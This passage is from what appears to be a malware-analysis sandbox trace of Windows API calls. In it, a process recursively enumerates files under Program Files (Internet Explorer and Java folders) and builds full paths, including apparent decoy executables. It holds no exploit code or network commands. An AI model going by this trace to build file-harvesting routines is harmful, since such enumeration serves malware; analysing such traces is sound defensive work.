lpFindFileData=0x20ed50) returned 1 [0123.824] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2=".") returned 1 [0123.824] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2="..") returned 1 [0123.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.824] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0123.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0123.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned 67 [0123.824] lstrcpyW (in: lpString1=0x6dfd60, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0123.824] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.824] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.825] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.825] lstrcmpW (lpString1="ExtExport.exe", lpString2=".") returned 1 [0123.825] lstrcmpW (lpString1="ExtExport.exe", lpString2="..") returned 1 [0123.825] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.825] lstrlenW (lpString="ExtExport.exe") returned 13 [0123.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0123.825] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned 54 [0123.825] lstrcpyW (in: lpString1=0x24b0420, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0123.825] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.825] lstrcmpW (lpString1="hmmapi.dll", lpString2=".") returned 1 [0123.825] lstrcmpW (lpString1="hmmapi.dll", lpString2="..") returned 1 [0123.825] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.825] lstrlenW (lpString="hmmapi.dll") returned 10 [0123.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0123.825] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned 51 [0123.825] lstrcpyW (in: lpString1=0x6dfdf0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0123.825] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.825] lstrcmpW (lpString1="ie8props.propdesc", lpString2=".") returned 1 [0123.825] lstrcmpW (lpString1="ie8props.propdesc", lpString2="..") returned 1 [0123.825] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.825] lstrlenW (lpString="ie8props.propdesc") returned 17 [0123.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0123.825] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned 58 [0123.825] lstrcpyW (in: lpString1=0x6dfe60, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0123.825] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.826] lstrcmpW (lpString1="iecompat.dll", lpString2=".") returned 1 [0123.826] lstrcmpW (lpString1="iecompat.dll", lpString2="..") returned 1 [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.826] lstrlenW (lpString="iecompat.dll") returned 12 [0123.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned 53 [0123.826] lstrcpyW (in: lpString1=0x24b0498, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0123.826] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.826] lstrcmpW (lpString1="iedvtool.dll", lpString2=".") returned 1 [0123.826] lstrcmpW (lpString1="iedvtool.dll", lpString2="..") returned 1 [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.826] lstrlenW (lpString="iedvtool.dll") returned 12 [0123.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned 53 [0123.826] lstrcpyW (in: lpString1=0x24b0510, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0123.826] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.826] lstrcmpW (lpString1="ieinstal.exe", lpString2=".") returned 1 [0123.826] lstrcmpW (lpString1="ieinstal.exe", lpString2="..") returned 1 [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.826] lstrlenW (lpString="ieinstal.exe") returned 12 [0123.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned 53 [0123.826] lstrcpyW (in: lpString1=0x24b0588, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0123.826] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.826] lstrcmpW (lpString1="ielowutil.exe", lpString2=".") returned 1 [0123.826] lstrcmpW (lpString1="ielowutil.exe", lpString2="..") returned 1 [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.826] lstrlenW (lpString="ielowutil.exe") returned 13 [0123.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned 54 [0123.826] lstrcpyW (in: lpString1=0x24b0600, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0123.826] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.826] lstrcmpW (lpString1="ieproxy.dll", lpString2=".") returned 1 [0123.826] lstrcmpW (lpString1="ieproxy.dll", lpString2="..") returned 1 [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.826] lstrlenW (lpString="ieproxy.dll") returned 11 [0123.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned 52 [0123.826] lstrcpyW (in: lpString1=0x24b0678, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0123.826] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.826] lstrcmpW (lpString1="IEShims.dll", lpString2=".") returned 1 [0123.826] lstrcmpW (lpString1="IEShims.dll", lpString2="..") returned 1 [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.826] lstrlenW (lpString="IEShims.dll") returned 11 [0123.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0123.826] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned 52 [0123.826] lstrcpyW (in: lpString1=0x24b06f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0123.827] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.827] lstrcmpW (lpString1="iexplore.exe", lpString2=".") returned 1 [0123.827] lstrcmpW (lpString1="iexplore.exe", lpString2="..") returned 1 [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.827] lstrlenW (lpString="iexplore.exe") returned 12 [0123.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 53 [0123.827] lstrcpyW (in: lpString1=0x24b0768, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0123.827] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.827] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2=".") returned 1 [0123.827] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2="..") returned 1 [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.827] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0123.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned 93 [0123.827] lstrcpyW (in: lpString1=0x6dfee0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0123.827] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.827] lstrcmpW (lpString1="jsdbgui.dll", lpString2=".") returned 1 [0123.827] lstrcmpW (lpString1="jsdbgui.dll", lpString2="..") returned 1 [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.827] lstrlenW (lpString="jsdbgui.dll") returned 11 [0123.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned 52 [0123.827] lstrcpyW (in: lpString1=0x24b07e0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0123.827] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.827] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2=".") returned 1 [0123.827] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2="..") returned 1 [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.827] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0123.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned 58 [0123.827] lstrcpyW (in: lpString1=0x24b1048, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0123.827] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.827] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2=".") returned 1 [0123.827] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2="..") returned 1 [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.827] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0123.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned 59 [0123.827] lstrcpyW (in: lpString1=0x24b10c8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0123.827] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.827] lstrcmpW (lpString1="jsprofilerui.dll", lpString2=".") returned 1 [0123.827] lstrcmpW (lpString1="jsprofilerui.dll", lpString2="..") returned 1 [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.827] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0123.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0123.827] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned 57 [0123.827] lstrcpyW (in: lpString1=0x24b1148, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0123.828] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.828] lstrcmpW (lpString1="msdbg2.dll", lpString2=".") returned 1 [0123.828] lstrcmpW (lpString1="msdbg2.dll", lpString2="..") returned 1 [0123.828] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.828] lstrlenW (lpString="msdbg2.dll") returned 10 [0123.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0123.828] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned 51 [0123.828] lstrcpyW (in: lpString1=0x24b11c8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0123.828] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.828] lstrcmpW (lpString1="pdm.dll", lpString2=".") returned 1 [0123.828] lstrcmpW (lpString1="pdm.dll", lpString2="..") returned 1 [0123.828] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.828] lstrlenW (lpString="pdm.dll") returned 7 [0123.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0123.828] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned 48 [0123.828] lstrcpyW (in: lpString1=0x24b1238, lpString2="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0123.828] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.828] lstrcmpW (lpString1="SIGNUP", lpString2=".") returned 1 [0123.828] lstrcmpW (lpString1="SIGNUP", lpString2="..") returned 1 [0123.828] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.828] lstrlenW (lpString="SIGNUP") returned 6 [0123.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="SIGNUP" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP" [0123.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\" [0123.828] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0123.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*" [0123.828] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.828] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.828] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.828] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.828] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.828] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.828] lstrcmpW (lpString1="install.ins", lpString2=".") returned 1 [0123.828] lstrcmpW (lpString1="install.ins", lpString2="..") returned 1 [0123.828] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0123.828] lstrlenW (lpString="install.ins") returned 11 [0123.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0123.828] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned 59 [0123.828] lstrcpyW (in: lpString1=0x24b12a8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0123.828] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.828] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.829] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.829] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0123.829] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0123.829] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.829] lstrlenW (lpString="sqmapi.dll") returned 10 [0123.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0123.829] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned 51 [0123.829] lstrcpyW (in: lpString1=0x24b1328, lpString2="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0123.829] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.829] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.829] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.829] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0123.829] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0123.829] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.829] lstrlenW (lpString="Java") returned 4 [0123.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Java") returned="c:\\Program Files (x86)\\Java" [0123.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\") returned="c:\\Program Files (x86)\\Java\\" [0123.829] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0123.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\*") returned="c:\\Program Files (x86)\\Java\\*" [0123.829] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.829] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.829] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.829] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.829] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.829] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.829] lstrcmpW (lpString1="analysts-dose.exe", lpString2=".") returned 1 [0123.829] lstrcmpW (lpString1="analysts-dose.exe", lpString2="..") returned 1 [0123.829] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0123.829] lstrlenW (lpString="analysts-dose.exe") returned 17 [0123.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0123.829] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned 45 [0123.829] lstrcpyW (in: lpString1=0x24b1398, lpString2="c:\\Program Files (x86)\\Java\\analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0123.829] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.829] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2=".") returned 1 [0123.829] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2="..") returned 1 [0123.829] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0123.829] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0123.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0123.829] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned 61 [0123.829] lstrcpyW (in: lpString1=0x24b1400, lpString2="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0123.829] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.829] lstrcmpW (lpString1="jre7", lpString2=".") returned 1 [0123.830] lstrcmpW (lpString1="jre7", lpString2="..") returned 1 [0123.830] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0123.830] lstrlenW (lpString="jre7") returned 4 [0123.830] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="jre7" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7") returned="c:\\Program Files (x86)\\Java\\jre7" [0123.830] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\") returned="c:\\Program Files (x86)\\Java\\jre7\\" [0123.830] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.830] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\*") returned="c:\\Program Files (x86)\\Java\\jre7\\*" [0123.830] 